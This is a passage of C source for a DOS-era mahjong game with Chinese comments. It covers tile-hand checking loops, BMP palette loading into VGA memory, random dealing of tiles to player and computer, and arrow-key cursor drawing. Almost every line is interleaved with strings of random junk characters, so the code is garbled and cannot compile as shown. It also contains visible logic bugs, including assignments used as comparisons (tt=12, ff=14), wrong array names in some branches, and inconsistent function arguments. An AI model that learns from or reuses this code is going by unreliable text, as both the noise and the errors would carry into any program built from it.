" q( G0 H1 p. `. X}
% K, p/ d: t! r( U} & H% f. M; s- b& x" q6 Q3 x5 J$ p
else if(tt==9)
  Y0 I$ C" J  `( `5 o+ Histhree(pt,tt);
4 w# N& S% Q0 O" h+ Uelse if(tt==11)0 W& m$ Z$ J+ K/ H
for(i=0;i&lt;10;i++)
. e! ?+ M3 D7 `, K4 O{0 }" s& x: l6 J
for(j=0;j&lt;2;j++)3 m# q# V5 S& T# T. d2 e3 K
{test[j]=pt[i+j];
4 r: I# \$ ]+ E8 B- h/ d1 p}
+ `1 K, T& B! b! sif(istwo(test))
& Z$ W2 O# r! _" M{ ill=0;1 Z0 L4 i: a* ?' ^2 |
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/! Z9 S# Q: E9 c9 x# U3 D/ s! J' @; ^
{if(kl==i). z# v( j  O! F0 ^7 S
{5 M& P5 Q  t( x7 a! |1 f2 J
kl=kl+2;9 \/ e6 G: J; i: I' g8 ?
if(kl==11)6 x0 K2 b& c9 G
break;- e& @  Z$ i9 [, O6 B
}9 q$ v% P2 S( H4 t. s5 a/ D- j
test[ill++]=pt[kl];) }8 C9 j+ j0 ?  n& L& u/ e
}& J6 _+ C/ l5 n
isthree(test,tt-2);
7 }' I' E% ^0 b7 f  K# |1 e' r; h}4 ~$ K& t5 g0 V. `* n3 Y( }/ M3 E
}" a; c# d9 y, e6 l0 m& G; {
else if(tt=12)' u9 E/ Q& j2 f
isthree(pt,tt);
* d  f" y, B. X6 u; x# Yelse if(tt=14)
6 b- |# I2 l+ {for(i=0;i&lt;13;i++)
$ n$ R" @8 r' ?- k9 N{
% I2 K) P' ^% yfor(j=0;j&lt;2;j++)
  M* s; z; y8 u{test[j]=pt[i+j]; ! v' {4 G9 C( W7 b$ }, k. F
}0 ^7 R4 |8 ~" k) _, [7 g
if(istwo(test))2 ?& x# K2 ^, ~( p6 k& F+ _
{ ill=0;! X- \, @) K5 `& d
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/; N/ R1 {0 i! a' M9 {3 s
{if(kl==i)6 U& \; y4 F$ Z+ Z
{& O/ D( s2 t. E# Y4 T, |  V5 y
kl=kl+2;
8 W2 j) X) L/ B: D2 R2 u" Fif(kl==14)( d- _9 n4 E5 S- c$ L! Z7 j
break;
2 H! G3 b2 i4 s5 M" \}
/ C% n! \. E) }test[ill++]=pt[kl];
/ u- I/ Q& Z* _) K1 v}
) ^. L7 R* g# j" g9 uisthree(test,tt-2); 7 i+ [: }# b4 _3 [7 ]: u
}
- W$ ~. v  c4 R5 o" S; j}
4 J+ P/ V% ~4 S0 y8 L' lif(ii==2)2 {$ X+ k7 l4 C8 m3 t( H& P
istwo(pi);5 e/ E5 G; N0 B3 S- h, v
else if(ii==3)
, J. Z, v- O$ T8 {isthree(pi,ii);. {& M5 b8 m7 L3 r9 A3 J6 i
else if(ii==5)6 ^  A" K4 R) v
/*pi[5]原始牌数组,假设已经升序排列*/
! R' _/ n" g% A1 `/*test[3]用来放置测试牌的数组*/( J& t+ B6 r, r# b  B
for(i=0;i&lt;4;i++)9 p  `7 c+ r% k  P9 [* B
{; ]# Y& p6 {/ T
for(j=0;j&lt;2;j++)/ g& K+ P" E- ]  s$ u
{test[j]=pi[i+j];
6 m, f: R# \  l& z5 P}! G4 {$ H. Z' }; l9 P- s# x9 C
if(istwo(test))9 B" S5 E  {' @# b& P9 r
{ ill=0;
0 i) ^8 z9 o4 Rfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/4 {9 [% f5 h; i& k
{if(kl==i)+ o9 L( a- J  ]# r/ h# s/ ^
{& L3 e, F* n3 P+ U) r8 y# i* R) e
kl=kl+2;( r  @) ?& A9 R9 ^5 p- H
if(kl==5)
" B$ B/ X5 m) ~* Zbreak;2 T5 N' ~! t; V& H
}
8 @7 {% N4 D# J3 W9 m6 wtest[ill++]=pw[kl];9 A  ^# m1 B  _  P. K/ C
}
1 d# t- ~, y7 M" t; k% u: k+ p6 bisthree(test);
) F! n5 E6 W2 V) S& z}8 v! n# v9 `1 ?+ b  H! l$ x6 @
}* \+ [4 m- u& B0 D8 B: q9 z, O
else if(ii==6)1 Z! Z5 [8 T5 u0 ^1 f
isthree(pi,ii); ; l! X1 B, {" i/ t6 n$ s% E
else if(ii==8)/ t" q' d8 y1 L+ M. V. E5 p
for(i=0;i&lt;7;i++)( D/ a5 h' N5 ^
{
$ ]/ B0 ^9 [0 b2 T# r+ o# d7 ~% d. c: Cfor(j=0;j&lt;2;j++)' E2 O! k( \+ H- u4 [- s" c
{test[j]=pi[i+j]; 3 x& K" l+ F. n8 I% [( c. [& C
}
& [4 S9 [5 n* E" ?if(istwo(test))# A2 B3 Y, ~0 M
{ ill=0;
0 J2 Q& O+ T5 t* xfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/! T2 Q0 ~9 V* E( x- V# B( c
{if(kl==i)9 k: p5 N, j) Z' ~1 c
{
& D" w: Y" w5 ?" K7 ckl=kl+2;
4 m5 O6 i- X; n# x3 n) n* ]if(kl==8)- T, i+ Z. G0 L( [. L" |; s
break;5 ?% [2 e) O- ^' E9 s# ]! q8 r( f
}- e4 s% _5 e  u  b
test[ill++]=pi[kl];
) W) |9 i8 }6 v}
" c8 f% _) W1 z: tisthree(test,ii-2);: W5 m- e2 J& z' ~9 k% Y! Y' _8 {
}
( e" ^" m; f$ O5 ]' }9 j1 ?}
) `  j; z% D3 I2 n9 Gelse if(ii==9)
5 M# t/ G0 n0 F  E- |& N* Tisthree(pi,ii);
" L# w9 p2 Y7 z7 ~! e" ^' velse if(ii==11)
- U! \7 H$ L2 p) q: [for(i=0;i&lt;10;i++)
$ a2 s7 X. C6 Q8 h$ v; Z{, X# U8 q  e6 k2 ?" N; V
for(j=0;j&lt;2;j++)+ e7 B8 W) w# D
{test[j]=pi[i+j]; ( y* _" ~9 O3 q- X. w
}
4 y6 I* L+ o0 E$ G; n3 {5 Gif(istwo(test))5 T$ N7 W& M8 q1 \( r! d
{ ill=0;9 \7 s# u2 U5 Q. o' `6 W
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// p; Z8 G9 U# y8 @
{if(kl==i); h9 i* S1 g, _- P( g
{
& M4 z9 ~# W! }' F( |7 N5 ikl=kl+2;4 Q; x( ~/ [7 v- A
if(kl==11)  g$ b0 D) X4 E0 L: t; \
break;
: p, ~1 T, M3 l0 K8 I}
- i8 k" d$ g% C/ `. m; Ptest[ill++]=pi[kl];
3 n3 @7 i  x% L5 I5 V) l}
# Z5 y- H& }% f3 [1 [isthree(test,ii-2);
3 L' g; l9 z- O0 d}
! b$ X+ E/ j# D}
' h5 T% _  |5 u: M! L$ Belse if(ii=12)
3 Q1 `) ^7 m( i) n3 uisthree(pi,ii);
0 w6 M  v! E: g/ x: O, [7 delse if(ii=14)
. S- @9 D3 q+ Vfor(i=0;i&lt;13;i++), f2 }3 N- U; Z2 w5 l% z
{
9 g; e8 q' r4 g4 m: efor(j=0;j&lt;2;j++)
1 r- L0 S$ C5 S' `4 \  _9 A6 x7 F8 r{test[j]=pi[i+j];
- V: J* s9 E$ s, J}
, U) u2 r2 _' q1 }! u5 n. P2 fif(istwo(test))8 U9 r: c! W; _+ V% K2 g
{ ill=0;
2 J0 i8 n7 \; O' Pfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
4 z! ~- f- P0 [  `! j/ I# ?- }# x{if(kl==i)
. l/ b. D, E' T/ D( y7 \{' ]  z9 e+ r) H) ?5 K
kl=kl+2;5 m$ n5 P- r( v  k
if(kl==14)
: w; b# r: I5 P: Z7 Q" c1 t1 ^+ \break;
. o- i5 u) F$ ]+ Y- v7 @4 r! z}
" O- |( n1 U2 `) qtest[ill++]=pi[kl];+ J6 t- S2 e* X
}
5 c, I& w/ z* z2 ~isthree(test,ii-2); / K1 K! X2 q# V4 U% ^: q6 `, s
}$ A6 ^/ `- e* H2 a) w! z/ s
}
% U$ _' n& t9 s4 X: `5 n  qif(ff==2)
5 g/ ^* ]% D% n) yistwo(pf);0 S. @; @. E  Z
else if(ff==3)
: Y/ \- B/ L3 ]2 [9 Pisthree(pf,ff);: B- O8 g% L) `! u7 d
else if(ff==5)
8 s4 `8 e7 s) k# T3 A+ J8 }/*pf[5]原始牌数组,假设已经升序排列*/
; L; @+ v9 Z  r* y/*test[3]用来放置测试牌的数组*/
1 a" b: e  X; Q  Q4 q; z) Gfor(i=0;i&lt;4;i++)
+ Y4 g! i- B* {7 e. E{
3 \8 F/ r- ~8 r" T* [for(j=0;j&lt;2;j++)
* d- m( c3 a* h& `{test[j]=pf[i+j];
8 T" C! H$ t! t  ?8 e$ U& _}' b; T, w' w2 z& x( N7 A0 \
if(istwo(test))
+ H, K6 z- E" M& o1 U1 r& v( g{ ill=0;
$ N* B' Q8 @) ufor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
2 _4 ]2 c) e9 v, o6 M( q3 _{if(kl==i)
+ V* X- B) \* I3 W" a! W{
1 L5 s: n4 Y+ v* E% s6 W2 Ykl=kl+2;
( d! l+ \5 {' }) p7 aif(kl==5)
: C1 ^- Z( A3 O% Z$ v, ?4 Dbreak;
3 n  N( E/ q* D8 }2 J. G' w}
: z* k  n; ^) A% B- Rtest[ill++]=pf[kl];
: `" U3 w! ~" a# S: x: R( r6 P4 O& }}7 ^- Z/ e8 n2 M
isthree(test);
0 w, n) H& {) C1 ^: U}
# X! e8 ^, M3 a3 f}2 W8 K: a9 @: Y9 U7 _5 k0 V/ p5 S
else if(ff==6)( H: P8 u  u8 E6 b$ |: ]
isthree(pf,ff);
" F' f& h7 t, C2 e  Nelse if(ff==8)5 V+ c7 R* U0 j! e3 M0 j# p
for(i=0;i&lt;7;i++)7 m6 {9 Q2 A# P
{
1 `+ n4 L5 ~$ Y  wfor(j=0;j&lt;2;j++)
6 `3 [0 k, ~( [( ?  |9 @{test[j]=pf[i+j]; 9 K! Q( _8 p7 z' B  B) [) S  q# p
}5 N8 x& J8 G: m+ f; c. _2 @
if(istwo(test))4 T: n5 x" T" M0 V) Z, T
{ ill=0;  K5 m+ W' j, ^6 e+ B- |; E! y
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/5 J1 F3 d; [2 g2 R& q/ J
{if(kl==i)! v4 O! x; k3 V6 E, Y
{
) w) b5 O) Q. _, G: Kkl=kl+2;, @( A9 ^6 m( d  q/ u
if(kl==8)
, f6 m# N% M2 Nbreak;
2 l- R  |+ S9 Y$ A/ D% ?}
8 C9 b: v: O- u. stest[ill++]=pf[kl];; t  }. [, q' ?. D% w/ B) |5 d
}
$ ]( }8 g; V5 b4 sisthree(test,ff-2); / {, m% h( h+ m7 J+ M+ n: W0 w
}
* p4 n( G, L0 U: _} $ M: A9 W# q! W2 n2 \5 `4 q
else if(ff==9)
0 l7 N$ e# s) d$ W& }% z) Fisthree(pw,ww);# A) k4 M" c7 g  p
else if(ff==11)
3 g9 T9 A8 a2 n( z8 Tfor(i=0;i&lt;10;i++)
' m- C4 [( S% {8 Q* S{
. F( S9 Q9 R4 G, H  V) n9 J3 E2 [& `for(j=0;j&lt;2;j++)
% J/ Z4 L$ E1 H. d, p- w{test[j]=pf[i+j];
1 v2 |  Y! ^; P! r9 c}2 ~$ q0 b% h6 ?" N3 \- U* r/ \
if(istwo(test))
) X% {$ o& R/ p9 [# ~! M" a( B{ ill=0;
4 L5 v1 P: A8 O/ l3 z. r- dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/5 k! s( S1 _) t
{if(kl==i)
1 N2 k! j$ p3 G* K7 y{& U) b! }2 D4 E2 S$ P
kl=kl+2;$ ?- T3 T3 B# g& w5 e
if(kl==11)$ c' ^: h9 F+ {4 {1 T5 H' j% e
break;- m, v; N0 ^- m5 s3 q; J4 y6 X1 Q
}5 S  J5 c) \9 P; r! A2 ]
test[ill++]=pf[kl];
& C. K: Y" ~8 r3 J- E7 Y}
& i, H& V% W0 e! ^isthree(test,ff-2); $ A! r2 H6 E' C% C, I6 }, e7 \
}  i- _7 H5 g& D9 R$ B- w# n
} + S3 f3 |; B0 a5 |4 ~9 L0 k: ?
else if(ff=12)0 _* W0 J2 c; X1 [
isthree(pf,ff);
/ ^( k+ M: |& ?' _* b5 T4 belse if(ff=14)
. w' e' J# z4 P, Nfor(i=0;i&lt;13;i++)4 a" {7 M/ d0 E* Q
{
: g0 Y; E  Y2 ^) F2 F" d' [for(j=0;j&lt;2;j++)
  v% e% R8 ~( f" V) }# U{test[j]=pf[i+j]; + c) K8 j) U! x8 Y
}: k/ K2 ~  S3 Z/ x$ I7 w
if(istwo(test))) n# y# d( o0 \
{ ill=0;
# G1 F4 I4 A1 r7 }for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" U1 q( D' K6 o! f{if(kl==i)! A$ X6 ^, z% F8 F% o/ K) E5 W
{
+ n# _2 Y% m% ]0 y. b2 c% m" k( bkl=kl+2;
( r+ z' _) t9 D5 `" _8 k8 l' sif(kl==14)8 }  v, @+ V0 T! ^) K/ l# [
break;& `' j7 E! f+ k, @7 ]
}
$ w' ~6 p3 X/ i9 jtest[ill++]=pf[kl];! s6 e+ J& ?4 }6 h/ t+ s. r9 g
}
0 R  E6 a: |# Misthree(test,ff-2);  ^( o7 K  Z8 y  E% G1 N0 P* K" P
}
& s, m  Z3 U- D" z$ c& R}
$ n% }7 o$ v3 J4 G3 b}$ g' y$ R. X- J
void main(void)
' n6 `* T+ U7 Q3 \3 T{: n8 `' Y: F1 E! S- b6 `- ?4 b; c
FILE *bmp;& D; T% V' l. u0 J; U3 t2 C; g
static char *name[2]={"ff.bmp","logo.bmp"};
; W& \" z, N9 z2 `& C' s* R. vchar *p;, G- u$ l0 O  u7 C) T# ?1 {
int *lingshi;
! c' j2 o/ @3 [) `int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;' m5 y/ {: y; ~
int every=0,w=0,x1,x2,y1,y2,every1=0;# `# g# f6 T2 M& E$ t
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;# ?  B) v8 k% F( _4 R% c% ^
BYTE palette[256][3];
5 y/ \2 q9 C, _! MSETVGA;
' f+ j* S9 }, T3 Q9 ?" \$ i4 I+ M- Tgetch();
- Y- t& Z! W9 g# s( Twhile(t--)
! I) b* K- @3 l" {( f{
+ i* d' W+ B* l( Y3 {8 S" V# Ybmp=fopen(name[t],"rb");; p* a) O3 j$ I1 e: h) p
fseek(bmp,54,SEEK_SET);% e$ M7 _8 R  C
for(i=0;i&lt;256;i++)
+ b5 X& Y; a$ ~{
! i& d5 H8 `7 p, a# kpalette[2]=fgetc(bmp)&gt;&gt;2;
! u* G6 |: J4 O' p" `: P3 h% w# r/ Xpalette[1]=fgetc(bmp)&gt;&gt;2;
% Z8 [! y- M5 |) n! o# g2 Jpalette[0]=fgetc(bmp)&gt;&gt;2;# R- H( w+ R9 P" r8 C2 Z# [; E
fgetc(bmp);
( T) X. Q8 D$ t3 {Set_Palette(i,palette[0],palette[1],palette[2]);
% ]+ m* P& z, d3 X9 G  K1 o}
( D, L5 {$ f  F. S6 l$ z9 ]3 d! {for (y=0;y&lt;200;y++)! w% m& g% D. u" }) l
for(x=0;x&lt;320;x++)
: L9 y, P: h, y6 jpokeb(0xa000,y*320+x,fgetc(bmp));8 B) r/ {& ]4 _* y9 p7 j" |
fclose(bmp);
% c8 t7 x6 l. X6 N1 O7 S+ _8 ggetch();: f6 c/ X/ _2 p
}
. R, B( u; W6 _8 Wgetch();. N/ _) i! m+ [6 }
fillRectangle(0,0,320,200,0);
$ W  C4 r/ h  q4 W/ }4 tgetch();
' L1 }9 L# h: Srandomize();
8 W+ z4 {! O( Q9 e# k2 Ume.m=onetothirteen;0 c3 [4 P, _  @1 M: Y0 C# f
while(me.m&gt;0) /*先循环,给自己拿牌*/( C4 [9 L! P, _/ X! K7 u
{/ D- ~8 r1 i6 `+ y7 Z9 f  z# D+ T
& G4 I" m4 P, ^3 y( t
temp=random(136);
9 y8 D! r9 L3 x& A+ W  }) Oif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
4 ?7 A+ b( B. m$ h  I2 K{9 s4 E$ ?9 r, T
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/7 O  N3 r# S+ m. A- J* ]
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
6 \6 r0 k: Y5 X0 ^: T) J1 N. gme.pp[n].number=temp; /*第几张,用来排序*/
+ K, i3 z4 ?# v% Am[temp].data2=1; /*判断牌是谁的*/
) V' j0 Q! D9 X  \$ {8 c& ^kk=1;% ^6 l' b5 I( T# C, W
}+ S( ]. w5 M' K4 V  L& l
if(kk==0) /*判断如果又选择了,就从新再选*/
3 X" Z5 P! E( x. L1 p1 \{
* d  w) S( k- E9 k0 V5 `" `me.m++;
( G( {8 R7 K1 Z; c- j# nn--;
" D+ X  _9 |; _9 q}, u) N+ w* \# W9 W. a
me.m--;
! N3 Q" @8 s9 [3 W+ V% N, {n++;3 X: E- {- {5 Y3 m. u; t
kk=0;; P6 O! n( v; C- \
}: V; r0 ^. `, R) m5 V; u( t
me.m=12;
8 R7 t; D& |/ Hmelipai(); /*理牌*/% X3 I6 c3 ]1 f6 E. |

. H. r- u- r" H4 D  tn=13;6 X3 C  c, t. c( i
while(l&lt;n)
2 C( v" Q6 u2 y7 {7 \- B{* I/ j0 S% j7 h
z=z+20;
1 p! t3 ?/ X% qshowbmp(l);2 P* |$ B. Z% ~- f
l++;
# }* m9 K0 N+ c( [
  }( D; Y3 m9 ^; p! ?+ @; b% {2 a}
8 {4 l& Z# x- v$ _/ `: F! E+ n# urandomize();4 s4 I/ j0 T( i1 [, [
computer.m=oneorthirteen;8 L% u2 G, O& T. F! J
n=0;
6 r7 y8 ^9 [. \+ v% z& x* ]/ l7 s" uwhile(computer.m&gt;0) /*循环,给对方拿牌*/9 A( T' D9 r, }% z6 f8 F' C1 Y
{" u) h  ?/ F8 E( n
temp=random(136);
$ q8 |8 S5 k' d3 ]0 n# Iif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
( Q" m5 u+ D) r& x{6 m3 q! \# o8 l9 I# Z
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
6 Q- D( ~  w  Tcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/6 o, F5 k- A; ?6 S, H
computer.pp[n].number=temp; /*第几张,用来排序*/
: c+ q7 ~+ ^3 B" pm[temp].data2=2; /*判断牌是谁的,2为电脑*/; I$ C, p/ [& N! O& P
kk=1;
2 Y, y) q, ^1 g}2 A% i1 e* k* p: v) d# L/ N/ y
if(kk==0) /*判断如果又选择了,就从新再选*/
; J7 U( P: Y) V& _& t{
5 t! M8 X: f) ]5 T! R# bcomputer.m++;* Q# D8 Y" A7 l/ G. }; O5 S
n--;4 Y& [5 b, l0 K  L0 Y7 ]3 b2 I$ J
}9 A2 M: \$ |: N
computer.m--;
0 [. R0 d0 ?* {6 D9 C4 Gn++;
$ y- \3 x- f: b0 Ikk=0;5 E% O3 e( a$ r1 H/ n( Q
}; g0 k0 j  ^* s" k  x3 y
computer.m=12;
) u) ?4 W  m( r+ \; h& Jcomlipai(); /*电脑理牌*/
; ^  @5 j. ?& L" o; T5 x0 S6 d+ X" xn=13;1 r2 c4 O2 O) n0 |0 z
while(ll&lt;n)) l$ G' M1 `3 x
{. v+ |0 m, N$ q# r7 f
zy=zy+20;2 s2 v' [3 u! e# v' O" J( W, w
showybmp(ll);
' F7 ]& o) ~+ G' u/ q( e* T, `) l. F3 zll++;
5 l" F* H/ C4 g2 Y8 M+ {}
# I  b+ d' p( }0 ~& n4 J  ?2 z. {: @0 V& P# z: M- S
z=54400;
2 S* J& x8 T  T! fwhile(key!=ESC)
) r; S9 k) D, t{ 2 ~$ {7 Z. k+ h# D
) d. V. Y  n7 S7 l( Q% w
keyy=bioskey(0);( B2 e+ p' v$ h3 Y$ N% l
if(keyy==LEFT) 8 S! o, R2 J$ u- A! D' _
{ w=1;6 ^! L/ U) [+ p; c( `4 h7 _
if(every==0)
4 E2 [& x% L% Q{& U2 R1 ?& I! W/ f" r
every=1;
+ C7 Q. R- T3 V0 p( Ez=54440-5*320;
3 _3 K& r) W2 ]/ O( ~) P3 d& S1 k: p& T2 U7 g: t8 {
}
1 N# K- I2 P) b5 E/ Vzz=zz+5*320;& d2 \3 [" q" M5 T+ Y: l- @% P
showbmp(every);% _' ?/ ~& X" `/ {; n: L1 v
if(every==0)
& n) [( r$ B; R, e0 [* h{
  A- W0 U4 T& a: c! N2 \3 g0 a$ lx1=20;
& ]7 x+ c, I2 I. \y1=165;
! r% {. \; }9 |( H$ y, Y0 ?fillRectangle(x1,y1,x1+20,y1+4,0);
5 b# L3 D- k5 w  W# W}8 _1 E6 _/ j& T) s; C. P& n
if(every==1), Y8 r/ w9 Q/ ], q. P
{3 J3 P$ ~! b* `  l. z* k
x1=40;4 y  e) x9 _! ^! }; ~
y1=165;& K: K0 L# x4 ~5 M. |
fillRectangle(x1,y1,x1+20,y1+4,0);
( }; d: C9 W) A. [0 O: e5 z! k}
1 H- V  A) B! ]: W6 D1 Eif(every==2)
; Z, k# ?# B! H: z{& z$ @& m, K, y: g( i  R
x1=60;; `: O8 f1 {/ w( Q: a
y1=165;
8 l) q5 _/ R: m* y! dfillRectangle(x1,y1,x1+20,y1+4,0);
) J6 F6 W# J* k% a, R8 C}
& {% [; y3 y* b# C0 M2 W6 F2 Dif(every==3)
: j1 p4 H. E$ r4 U{
" S+ j6 L) T0 v; j  F1 Lx1=80;; ]% r- Y& \, ~
y1=165;
2 d# `% a" d: f4 HfillRectangle(x1,y1,x1+20,y1+4,0);7 O  d  R+ g) d& ^7 [' m( E
}
$ C5 [/ `" y: M+ M& qif(every==4)% ^( C& f+ a. C0 J: P4 \
{# j$ L( x6 D  F! x
x1=100;
- j8 C8 Q! {1 k3 L' t8 e6 w9 oy1=165;; m% F. U* f1 X0 t
fillRectangle(x1,y1,x1+20,y1+4,0);
* ^1 w, `' i- m5 N" }8 G}
* n8 t8 k- K: g! n2 [7 J+ a/ [4 K/ Zif(every==5)* X# e9 q) K/ k8 T! k+ y' C1 x
{7 o' t* |2 x8 f6 M+ }% |. T- m
x1=120;
) T# s. K6 d- Ry1=165;
8 Z8 P9 {  U, _% S, Y) afillRectangle(x1,y1,x1+20,y1+4,0);
3 T; t; N( f/ I* Z$ Z: B}  ]* l8 H0 B1 y, U4 k2 ?
if(every==6)* c, D( H- ^- F& ~4 y9 _
{; A9 m8 n4 u" x$ X
x1=140;
2 W3 k7 B: E0 W# G) l1 W# l& @y1=165;
% Z; _( Y! d: X1 _# ZfillRectangle(x1,y1,x1+20,y1+4,0);
2 g+ v# n/ O3 K  z}
6 z; [; m& Q9 n4 i5 {if(every==7)
5 h3 c- O" G5 T# R8 Y2 ^/ J* p8 D6 |" H{* S6 c. p/ n: L6 F9 W" M3 ~5 _
x1=160;6 C* D) T7 `' G8 c% @7 F' F- _
y1=165;* z, x3 }. w; Y+ }- J; q
fillRectangle(x1,y1,x1+20,y1+4,0);
) k/ v, c" a5 [; F  _}+ ?% H& }  o$ W8 w
if(every==8)3 U3 A: D1 B+ j( ?
{7 E2 I0 p1 {) r& q
x1=180;
  U9 W4 D8 ^' A- b5 ny1=165;
* a  T8 p6 ]0 o2 K! jfillRectangle(x1,y1,x1+20,y1+4,0);
- i8 F; y" ?; S# v+ j% j$ u}
8 n" c0 f1 ~# sif(every==9)2 c" D, a2 E9 H
{; s; |& i! K; U, V) k6 y
x1=200;
4 ^( l% X+ k/ W; x% ]9 \: yy1=165;
+ ^! A* u+ i0 t: l, Q" n3 AfillRectangle(x1,y1,x1+20,y1+4,0);
& z# h% u4 x! A2 W# }6 w4 z}3 P8 S& S; F6 Z% F8 Y
if(every==10)5 o& _9 F. }" {! K: M# W
{
* f* a5 S/ g! S7 Ox1=220;
' l& i4 T. Y* {6 Ry1=165;, o; K- I2 N. x9 Q- K
fillRectangle(x1,y1,x1+20,y1+4,0);, i( O7 e2 v; d& u. a# K: a
}5 ^2 P: ]$ l0 Y0 X
if(every==11)
2 `! q1 l: v7 A6 L- P{" s' m' y. w0 _" W. ?
x1=240;" |9 s: @+ Y- z' O$ Q( q
y1=165;
: s$ S! ^: ~) b- U4 N$ TfillRectangle(x1,y1,x1+20,y1+4,0);
+ t: {6 t4 ]5 {  b9 u$ n}) M  Y1 M( y3 G% }4 i
if(every==12)0 t7 G9 g2 {5 }
{8 K' }) a" v8 ^. V6 n2 K" k
x1=260;2 _: X3 ]( K" M1 Q
y1=165;; D9 H- E" `' B2 X& E3 |
fillRectangle(x1,y1,x1+20,y1+4,0);
. w( c$ Q) Y0 i  H4 q}; ^( u3 F6 Z/ ~8 x' f/ v, r  c
zz=0;3 w. L& T% `8 q9 j% W/ I& A# x3 `, |
every--;) h# T3 d7 }: r
z=z-20;
4 L! W9 |8 m% }' N}8 \; V) h* C0 i+ J) d
if(keyy==RIGHT)7 m5 i1 @! W- O/ v, j) a
{ if(w==0). b7 A2 ^6 }' U, V9 [
{
' R( D+ |% _6 ^- o* M; Lz=54440-5*320;. h% e$ Q& g2 O1 [5 S5 _! [5 {9 P
z=z-20;+ z& Q) P* ]  h1 U
w=1;
2 Z; L, A$ W7 a5 B2 W}
$ B9 C5 c$ f/ zif(every==12) + t' b5 b6 [! c/ ^( V% G3 ?) ^
{0 m& |$ L4 M" M' G$ D' u$ |
every=11;0 _0 Z( L5 s5 V, c+ Q# A; W2 f
z=54640-5*320;
" H9 _( }% M# u  W}
: s$ K  A' Z6 H4 nzz=zz+5*320;' `" O$ v' V5 s: U0 u  @
showbmp(every);
) A8 ~3 T0 o" v/ oif(every==0)8 T' A3 [( I: r
{
* P. ?0 X; J' C; D+ c! ^" Wx1=20;
* ~, D, t8 I! n1 {: y' Wy1=165;) C+ J5 ~" w. n4 A3 E
fillRectangle(x1,y1,x1+20,y1+4,0);
8 g1 ~, b' U7 z9 R+ h/ K) M}
* I" j; {  @3 t3 kif(every==1)* D0 I# J' Y- K
{
" a: M" M8 I& A, B" @7 b! Zx1=40;) g1 C* }% ~* O2 g, J/ k- S
y1=165;
* D! b4 U- T1 OfillRectangle(x1,y1,x1+20,y1+4,0);$ @- E7 r+ f9 N$ O, k9 l, T) K  h. ?
}! [# x  y6 A8 T$ O8 n* @# m
if(every==2)2 g% b# B) ]1 O- s- R8 x
{1 t# G, `: _2 O% m/ A
x1=60;
# L/ z) S5 y# M( Ty1=165;9 W- H) }9 D% m
fillRectangle(x1,y1,x1+20,y1+4,0);+ n$ s( n# k( _4 f2 o' @
}# N0 A7 R6 Q' v: n" S2 _
if(every==3)- X' Q3 ]9 V2 v2 m6 _$ Z
{
) c3 J6 F7 U7 `+ G' f. c9 O$ I; Bx1=80;  j! D: J; p1 \, F
y1=165;
9 s; w1 B+ h+ s( H% A/ ofillRectangle(x1,y1,x1+20,y1+4,0);0 E& y0 x, s4 M: A. Y# s- P
}
. ?4 S% i: p" n$ Q% uif(every==4)
/ L0 e7 F; V: p; U# a{2 V7 ]! I( R# k2 w& k" `
x1=100;
9 W+ H$ t" o" S+ N0 v  g. iy1=165;
# j* {4 R4 `  [5 p1 PfillRectangle(x1,y1,x1+20,y1+4,0);0 _  V& @- `+ B
}
( i5 y+ @) A' g* u8 }if(every==5)/ ]1 `# T) P3 u1 m. W
{
: _4 W3 H7 d+ {x1=120;
( f; b; S" K% ~+ y+ k# Wy1=165;
. y, v. P( c' O4 MfillRectangle(x1,y1,x1+20,y1+4,0);
: A3 D5 ?" t) ?6 H" c, x}4 Z8 ~& A( F7 k! C( a" m1 Y
if(every==6)4 W8 A2 D! Z5 H# h
{# w, @- X# Y) [/ I/ o1 F7 w
x1=140;
" ]. {2 F! v) h) wy1=165;& l0 T5 O! g9 Z4 W
fillRectangle(x1,y1,x1+20,y1+4,0);
3 G/ [0 T% M; X  }) i  q4 l}6 C, E2 j# N3 ^1 Y3 ]& ?' ~
if(every==7)/ l2 \. W' g" ?- C
{
, w$ F( S& @. \) \6 ?  Wx1=160;1 L1 ~* l; |9 {9 ~& w
y1=165;
8 o: b7 }  `# U: cfillRectangle(x1,y1,x1+20,y1+4,0);1 G. \$ k, }# e: ~8 o% W' \
}
* y$ b: g/ a5 {if(every==8)9 ]2 [: R9 [' w5 j/ X; z" W0 x
{
# T6 `4 j  a6 F# W- sx1=180;
8 n( S5 P* |7 a: E' T9 E& q& m, hy1=165;
& q0 q5 R" J* o0 Q* ?& bfillRectangle(x1,y1,x1+20,y1+4,0);3 K, j: E. H- h* t4 A3 H; |
}
4 f8 E; g3 @1 p+ ^! gif(every==9)+ `0 G2 @0 i9 r6 h; x* @) J* _
{
7 p, |7 G* y' i- O& ]- Mx1=200;# R' d2 \5 }3 J) ~
y1=165;
) }  c8 t, ]% G) ufillRectangle(x1,y1,x1+20,y1+4,0);+ `3 A$ R9 y1 J: @8 F  B7 K$ V7 b, O
}
2 i7 D# j# g# ]! V. w  ?( i+ U8 ?- lif(every==10)' `/ }/ \, S3 n  I
{$ I0 I8 c6 x4 S7 |" K- P; \
x1=220;4 p2 n! d3 R0 T
y1=165;9 Z+ b5 d; t" [( B8 R& s; x6 e+ `  ]
fillRectangle(x1,y1,x1+20,y1+4,0);0 N0 C5 p! A; t" \& @3 b' K
}+ E1 M7 r3 ?0 C2 q- i: D% b; N! f
if(every==11)
